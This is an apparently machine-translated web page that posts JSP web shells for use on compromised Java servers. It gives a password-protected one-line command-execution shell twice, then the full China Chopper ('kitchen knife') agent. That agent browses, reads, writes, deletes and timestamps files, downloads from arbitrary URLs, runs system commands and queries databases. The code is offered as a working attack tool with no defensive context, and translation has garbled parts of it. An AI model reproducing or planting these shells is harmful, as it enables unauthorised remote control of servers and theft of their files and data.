Jsp can be connected with a kitchen knife in one sentence, and the JSP pants removal script

Source: Internet
Author: User

Jsp can be connected with a kitchen knife in one sentence, and the JSP pants removal script

<% @ Page language = "java" import = "java. util. *, java. io. *" pageEncoding = "UTF-8" %> <%! Public static String excuteCmd (String c) {StringBuilder line = new StringBuilder (); try {Process pro = runtime.getruntime(.exe c (c); BufferedReader buf = new BufferedReader (new InputStreamReader (pro. getInputStream (); String temp = null; while (temp = buf. readLine ())! = Null) {line. append (temp + "\ n");} buf. close ();} catch (Exception e) {line. append (e. getMessage ();} return line. toString () ;}%> <% if ("023 ". equals (request. getParameter ("pwd "))&&! "". Equals (request. getParameter ("cmd") {out. println ("<pre>" + excuteCmd (request. getParameter ("cmd") + "</pre>");} else {out. println (":-)") ;}%>

Password 023 <% @ page language = "java" import = "java. util. *, java. io. *" pageEncoding = "UTF-8" %> <%! Public static String excuteCmd (String c) {StringBuilder line = new StringBuilder (); try {Process pro = runtime.getruntime(.exe c (c); BufferedReader buf = new BufferedReader (new InputStreamReader (pro. getInputStream (); String temp = null; while (temp = buf. readLine ())! = Null) {line. append (temp + "\ n");} buf. close ();} catch (Exception e) {line. append (e. getMessage ();} return line. toString () ;}%> <% if ("023 ". equals (request. getParameter ("pwd "))&&! "". Equals (request. getParameter ("cmd") {out. println ("<pre>" + excuteCmd (request. getParameter ("cmd") + "</pre>");} else {out. println (":-)") ;}%>

 

  1. <% @ Page import = "java. io. *, java. util. *, java.net. *, java. SQL. *, java. text. *" %>
     
  2. <%!
     
  3. String Pwd = "chopper ";
     
  4. String EC (String s, String c) throws Exception {return s;} // new String (s. getBytes ("ISO-8859-1"), c );}
     
  5. Connection GC (String s) throws Exception {String [] x = s. trim (). split ("\ r \ n"); Class. forName (x [0]. trim ()). newInstance ();
     
  6. Connection c = DriverManager. getConnection (x [1]. trim (); if (x. length> 2) {c. setCatalog (x [2]. trim ();} return c ;}
     
  7. Void AA (StringBuffer sb) throws Exception {File r [] = File. listRoots (); for (int I = 0; I <r. length; I ++) {sb. append (r [I]. toString (). substring (0, 2 ));}}
     
  8. Void BB (String s, StringBuffer sb) throws Exception {File oF = new File (s), l [] =. listFiles (); String sT, sQ, sF = ""; java. util. date dt;
     
  9. SimpleDateFormat fm = new SimpleDateFormat ("yyyy-MM-dd HH: mm: ss"); for (int I = 0; I <l. length; I ++) {dt = new java. util. date (l [I]. lastModified ());
     
  10. ST = fm. format (dt); sQ = l [I]. canRead ()? "R": ""; sQ + = l [I]. canWrite ()? "W": ""; if (l [I]. isDirectory () {sb. append (l [I]. getName () + "/\ t" + sT + "\ t" + l [I]. length () + "\ t" + sQ + "\ n ");}
     
  11. Else {sF + = l [I]. getName () + "\ t" + sT + "\ t" + l [I]. length () + "\ t" + sQ + "\ n" ;}} sb. append (sF );}
     
  12. Void EE (String s) throws Exception {File f = new File (s); if (f. isDirectory () {File x [] = f. listFiles ();
     
  13. For (int k = 0; k <x. length; k ++) {if (! X [k]. delete () {EE (x [k]. getPath () ;}} f. delete ();}
     
  14. Void FF (String s, HttpServletResponse r) throws Exception {int n; byte [] B = new byte [512]; r. reset ();
     
  15. ServletOutputStream OS = r. getOutputStream (); BufferedInputStream is = new BufferedInputStream (new FileInputStream (s ));
     
  16. OS. write ("->" + "|"). getBytes (), 0,512); while (n = is. read (B ))! =-1) {OS. write (B, 0, n);} OS. write ("|" + "<-"). getBytes (), 0, 3); OS. close (); is. close ();}
     
  17. Void GG (String s, String d) throws Exception {String h = "0123456789 ABCDEF"; int n; File f = new File (s); f. createNewFile ();
     
  18. FileOutputStream OS = new FileOutputStream (f); for (int I = 0; I <d. length (); I ++ = 2)
     
  19. {OS. write (h. indexOf (d. charAt (I) <4 | h. indexOf (d. charAt (I + 1);} OS. close ();}
     
  20. Void HH (String s, String d) throws Exception {File sf = new File (s), df = new File (d); if (sf. isDirectory () {if (! Df. exists () {df. mkdir ();} File z [] = sf. listFiles ();
     
  21. For (int j = 0; j <z. length; j ++) {HH (s + "/" + z [j]. getName (), d + "/" + z [j]. getName ());}
     
  22. } Else {FileInputStream is = new FileInputStream (sf); FileOutputStream OS = new FileOutputStream (df );
     
  23. Int n; byte [] B = new byte [512]; while (n = is. read (B, 0,512 ))! =-1) {OS. write (B, 0, n) ;}is. close (); OS. close ();}}
     
  24. Void II (String s, String d) throws Exception {File sf = new File (s), df = new File (d); sf. renameTo (df);} void JJ (String s) throws Exception {File f = new File (s); f. mkdir ();}
     
  25. Void KK (String s, String t) throws Exception {File f = new File (s); SimpleDateFormat fm = new SimpleDateFormat ("yyyy-MM-dd HH: mm: ss ");
     
  26. Java. util. Date dt = fm. parse (t); f. setLastModified (dt. getTime ());}
     
  27. Void LL (String s, String d) throws Exception {URL u = new URL (s); int n; FileOutputStream OS = new FileOutputStream (d );
     
  28. HttpURLConnection h = (HttpURLConnection) u. openConnection (); InputStream is = h. getInputStream (); byte [] B = new byte [512];
     
  29. While (n = is. read (B, 0,512 ))! =-1) {OS. write (B, 0, n);} OS. close (); is. close (); h. disconnect ();}
     
  30. Void MM (InputStream is, StringBuffer sb) throws Exception {String l; BufferedReader br = new BufferedReader (new InputStreamReader (is ));
     
  31. While (l = br. readLine ())! = Null) {sb. append (l + "\ r \ n ");}}
     
  32. Void NN (String s, StringBuffer sb) throws Exception {Connection c = GC (s); ResultSet r = c. getMetaData (). getCatalogs ();
     
  33. While (r. next () {sb. append (r. getString (1) + "\ t") ;}r. close (); c. close ();}
     
  34. Void OO (String s, StringBuffer sb) throws Exception {Connection c = GC (s); String [] t = {"TABLE"}; ResultSet r = c. getMetaData (). getTables (null, null, "%", t );
     
  35. While (r. next () {sb. append (r. getString ("TABLE_NAME") + "\ t");} r. close (); c. close ();}
     
  36. Void PP (String s, StringBuffer sb) throws Exception {String [] x = s. trim (). split ("\ r \ n"); Connection c = GC (s );
     
  37. Statement m = c. createStatement (1005, 1007); ResultSet r1_m.exe cuteQuery ("select * from" + x [3]); ResultSetMetaData d = r. getMetaData ();
     
  38. For (int I = 1; I <= d. getColumnCount (); I ++) {sb. append (d. getColumnName (I) + "(" + d. getColumnTypeName (I) + ") \ t");} r. close (); m. close (); c. close ();}
     
  39. Void QQ (String cs, String s, String q, StringBuffer sb) throws Exception {int I; Connection c = GC (s); Statement m = c. createStatement (1005, 1008 );
     
  40. Try {ResultSet r=m.exe cuteQuery (q); ResultSetMetaData d = r. getMetaData (); int n = d. getColumnCount (); for (I = 1; I <= n; I ++) {sb. append (d. getColumnName (I) + "\ t | \ t ");
     
  41. } Sb. append ("\ r \ n"); while (r. next () {for (I = 1; I <= n; I ++) {sb. append (EC (r. getString (I), cs) + "\ t | \ t");} sb. append ("\ r \ n");} r. close ();}
     
  42. Catch (Exception e) {sb. append ("Result \ t | \ t \ r \ n" retry m.exe cuteUpdate (q); sb. append ("Execute Successfully! \ T | \ t \ r \ n ");
     
  43. } Catch (Exception ee) {sb. append (ee. toString () + "\ t | \ t \ r \ n") ;}} m. close (); c. close ();}
     
  44. %> <%
     
  45. String cs = request. getParameter ("z0") + ""; request. setCharacterEncoding (cs); response. setContentType ("text/html; charset =" + cs );
     
  46. String Z = EC (request. getParameter (Pwd) + "", cs); String z1 = EC (request. getParameter ("z1") + "", cs); String z2 = EC (request. getParameter ("z2") + "", cs );
     
  47. StringBuffer sb = new StringBuffer (""); try {sb. append ("->" + "| ");
     
  48. If (Z. equals ("A") {String s = new File (application. getRealPath (request. getRequestURI ())). getParent (); sb. append (s + "\ t"); if (! S. substring (0, 1). equals ("/") {AA (sb );}}
     
  49. Else if (Z. equals ("B") {BB (z1, sb);} else if (Z. equals ("C") {String l = ""; BufferedReader br = new BufferedReader (new InputStreamReader (new FileInputStream (new File (z1 ))));
     
  50. While (l = br. readLine ())! = Null) {sb. append (l + "\ r \ n") ;}br. close ();}
     
  51. Else if (Z. equals ("D") {BufferedWriter bw = new BufferedWriter (new OutputStreamWriter (new FileOutputStream (new File (z1 ))));
     
  52. Bw. write (z2); bw. close (); sb. append ("1");} else if (Z. equals ("E") {EE (z1); sb. append ("1");} else if (Z. equals ("F") {FF (z1, response );}
     
  53. Else if (Z. equals ("G") {GG (z1, z2); sb. append ("1");} else if (Z. equals ("H") {HH (z1, z2); sb. append ("1");} else if (Z. equals ("I") {II (z1, z2); sb. append ("1 ");}
     
  54. Else if (Z. equals ("J") {JJ (z1); sb. append ("1");} else if (Z. equals ("K") {KK (z1, z2); sb. append ("1");} else if (Z. equals ("L") {LL (z1, z2); sb. append ("1 ");}
     
  55. Else if (Z. equals ("M") {String [] c = {z1.substring (2), z1.substring (), z2}; Process p;runtime.getruntime(cmd.exe c (c );
     
  56. MM (p. getInputStream (), sb); MM (p. getErrorStream (), sb);} else if (Z. equals ("N") {NN (z1, sb);} else if (Z. equals ("O") {OO (z1, sb );}
     
  57. Else if (Z. equals ("P") {PP (z1, sb);} else if (Z. equals ("Q") {QQ (cs, z1, z2, sb );}
     
  58. } Catch (Exception e) {sb. append ("ERROR" + ": //" + e. toString ();} sb. append ("|" + "<-"); out. print (sb. toString ());
     
  59. %>

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.